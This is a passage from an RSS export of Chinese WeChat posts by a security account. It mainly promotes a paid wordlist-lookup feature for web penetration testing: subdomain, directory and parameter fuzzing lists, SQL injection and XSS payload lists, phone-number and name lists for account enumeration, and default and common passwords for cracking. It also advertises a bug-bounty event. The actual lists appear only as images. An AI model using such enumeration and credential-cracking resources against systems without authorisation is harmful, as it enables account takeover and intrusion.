&#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 20px;letter-spacing: 0.5px;">🎉</span><span textstyle="" style="font-size: 20px;letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">评论区互动抽奖 </span><span textstyle="" style="font-size: 20px;letter-spacing: 0.5px;">🎉</span></span></span></strong></span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []" data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbs3o427z8" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">今天高兴，给兄弟们再送一波福利！ 欢迎在底部评论区留言，聊聊：</span></span></span></span><strong data-v-4e2afdbc="" data-v-af3ce037="" mpa-font-style="mmbs3o42181p" style="font-size: 16px;"><span data-v-56f30838="" data-v-af3ce037="" index-key="markdown-renderer-86-1-0"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">“你最想用我们的AI平台来帮你解决什么具体问题？</span><span textstyle="" style="letter-spacing: 0.5px;font-weight: normal;">”</span></span></span></span></strong></p><p data-mpa-action-id="md4w3tl3qw6" data-pm-slice="0 0 []" mpa-font-style="m9gsabobxfl" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 1em;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-size: 15px;line-height: 1.6em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span mpa-font-style="mmbs3o4212g4" style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin-right: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">我们将从精选留言中抽取</span><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;">3位</span><span textstyle="" style="letter-spacing: 0.5px;">走心粉丝</span><span textstyle="" style="letter-spacing: 0.5px;color: rgb(255, 41, 65);font-weight: bold;">直接赠送价值近2000元的『年度会员』一个！</span></span></span></span></p><p data-mpa-action-id="md4w3tl342y" data-pm-slice="0 0 []" mpa-font-style="m9gsabobxfl" style="font-style: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-variant-ligatures: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);font-size: 15px;line-height: 1.6em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037="" mpa-font-style="mmbs3o42lv1" style="font-size: 16px;"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">抽奖暗号：</span><span textstyle="" style="letter-spacing: 0.5px;">留言越真诚和真实中奖率更高哦！冲冲冲~</span><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016836" src="https://wechat2rss.xlab.app/img-proxy/?k=46c72332&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTYvibnuLXmzKwIqsLicOqMJ5E7LAbRKHlcaib9fI8GKVvuyFYIEPIj3kias0HWw5Py3b8kENGAibM1pyN4EsGia9juGfEia62zsE4ZHgk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016837" src="https://wechat2rss.xlab.app/img-proxy/?k=4ba5768d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTaS3ltw6x2Y5SXpSLHSmNMUuRuMvJ2UTc6O9pfopG9WDZiazBeyVUpUZk1fXFBgjWnHykgibOHNkopNXBq0k3TfBcibqicPUFz8fRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016834" src="https://wechat2rss.xlab.app/img-proxy/?k=145ab84b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTa015j7F1hicjat24432bfqnZETKlbpIB3dUV1cTYEWwvAUFgI7l1eAkO4zialQmsff9dJQm5K85BAwgEgVAzoXLSptZWNoicribaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></strong></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=127fb4fb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500490%26idx%3D1%26sn%3D762e60933c97ec1c066625d075a3ecfd">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 24 Mar 2026 09:04:00 +0800</pubDate>
    </item>
    <item>
      <title>这个功能你一定喜欢！！！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500475&amp;idx=1&amp;sn=fb11ff279775e150e67c84332e867661</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-03-23 09:05</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e01516af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FVnwOz8XYCTaGJTWXQCT23vSib3UL8kxvVFFuXqlf7iabzfzoLWR7zgd81uLIoPMdgI9fsFwnzfH7mSXowGHQyicXd6EOweqWK5k91nicSALwvJM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;"><span leaf="">SRC 活动上新，度小满全域翻倍活动，快来挖洞：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323084350522" class="rich_pages wxw-img" data-ratio="0.5287037037037037" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016814" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1e77e451&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZAibxanfLmPEfHR4q1rBXAk8Fx6icDZCgTBicH6bnPqicnRNCoWzU5GKn7vhMmvDIkG9NjHCOPvVX8sqjjp0iaUbvaHYh8Ge3WrS38%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">周末上线了一个新的功能，字典查询，当你在测试网站功能时，一定会用到 fuzz 功能，比如 Host 碰撞所需的 dns 字典，目录枚举时使用的目录字典，参数发现使用的常用参数字典等等，功能如图：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323084602675" class="rich_pages wxw-img" data-ratio="0.4740740740740741" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016816" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=5d72b2f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTaicBh7O8zZ5FBlThTsH4vxDQVkGCbw6e4fwVoGMbKmribdVVsOEsic5ia3xhJjAOVt3asepL0XmdAzjPPQHqicicFEy9Na8haT02e3I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">所有数据均来自实战过程积累的接口、字典经过统计去重后得出的结果，下面一一简单展示下能力：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、Dns 字典，所有插入子域名库的子域名，会提取前缀作为字典插入到字典表，新插入一个子域名，相对应的字典命中次数加一，可以基于最新哦啊命中次数查询，也可以选择 top 多少个，可一键复制，导入 burp 直接开始 fuzz，非常方便，如图：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323084840188" class="rich_pages wxw-img" data-ratio="0.5111111111111111" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016815" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=18dec6b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZ0GS8QeibyoeDPOAp5Yyl0z4qaWSse7pxdGnuZTANgN6mQx76YRJOCic8F0ArP4ibNjnpvt6mJQLfkOD1P9xw3urYXoZEZlECnIM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、目录字典分为一级目录、备份文件名、通用漏洞接口、备份后缀以及功能文件名，分别适用于目录枚举的各种场景，数据来自于多年测试漏洞积累的漏洞接口中提炼而来</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323084935126" class="rich_pages wxw-img" data-ratio="0.5157407407407407" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016821" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=52989d04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYGlibkwV6RXNWM8uO8kV9BDwHXCIxCXTJiaUCeKd4ppVCJjVqZQRYKaj4zxGMRCkQJ4cBStoOx7micptWiaYtl0ZAkibz0wMKjd9pw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、参数字典分为功能类参数、编号类参数、文件类参数、搜索类参数以及其他，适用于不同功能接口的参数名枚举，好不好用，只有试过才能知道</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085122757" class="rich_pages wxw-img" data-ratio="0.5046296296296297" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016818" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=a3c6cce3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZE5DAS0eqIuC5gyUDmYYRZXHlq0ZxdFWmqcG4I3ia1ZNSXYVyfKPd30LwMxCbibA5wF1uOxKd32FRIIrq8qGk48H25Du1BciazDE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">4、载荷字典，用于测试常见的 sql 注入和 xss 漏洞，总结那些好用但不好记忆的 payload，在测试功能漏洞时，一键复制，然后自动化枚举，让漏洞发现更简单</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085334361" class="rich_pages wxw-img" data-ratio="0.5203703703703704" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016817" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=b3fa9963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZpZbcaDs5ibfcB7SmVlU8ooZiaGqibicdKqHvSKsCl54O5ibcEicUvr1rwPe78YtFuLD2z3k0Gs46sJXSuOThUs3bsmFtfdP1tATAQ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">5、手机号字典，这里收录的是国内手机号码段及归属城市，在做手机号枚举时，可以选择北京这类超一线城市号段进行，成功的概率更大，也可以根据业务归属地，选择适合的号段进行测试</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085458956" class="rich_pages wxw-img" data-ratio="0.5092592592592593" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016820" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f530a345&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZwa84unZptO6HaMV2Oz7GibosYm7LeussbL0ibPCicuXE4ianuiazjRAxXct6o15W2WgXsTPibziac1p8534iau7ZctlDpZc2dxObt5T0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">6、中文名字典，常用于用户名枚举，比如常见的邮箱地址，使用中文名命名的场景，非常有用</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085601527" class="rich_pages wxw-img" data-ratio="0.5203703703703704" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016819" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0d111c71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZelldeapiaGibE5uRSoiaibuBoBs3QjL2DZQFqFRShddkheqYI6ChvoZ99PSgVkTZeOwia9cvgACHfZiaajgOibAMD4xgRWlRMuCFI1M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">7、管理员用户名字典，主要以数据库服务字典、设备认证以及后台管理员等默认账号密码，数据来源于历史公布的通用系统、设备、服务的默认口令以及常用口令，还支持仅显示用户名或者密码的方式，便于进行口令破解</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085630528" class="rich_pages wxw-img" data-ratio="0.5185185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016822" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c1e78a7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTaiamY7hL5icPIU3S0XrtfE0qibUSicSw5JWcQrypV3HbRGaqbeYiauld5iboWuiaoiazEKrksiby9WOFiaJUZZvo4qt7hwfGzVVribUV6q9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">8、密码字典，默认账号密码无法破解的情况下，已知用户名，可以使用该字典，根据密码设置规则，提取相关字典进行测试，数据来源于大量密码字典分类提取统计所得</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260323085920110" class="rich_pages wxw-img" data-ratio="0.5185185185185185" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016823" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=7f0514ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTbxKAw5QjhNrGPhx3nHMFqtYENdGVIfZmcuaFyhFkzZGDhekOJuNnmpGic0Jd8sLhUl2NbeDsUJ4sVRczP9n53fe3dqHibnCNOBw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">以上演示获取的数据量都是 top 10，可以更改 top 数量中的配置，获取全部或者指定数量的字典，大部分排序是通过使用频率来进行，该功能不对任何人开放，需要满足两个条件之一：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、剩余积分超过 30 分</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 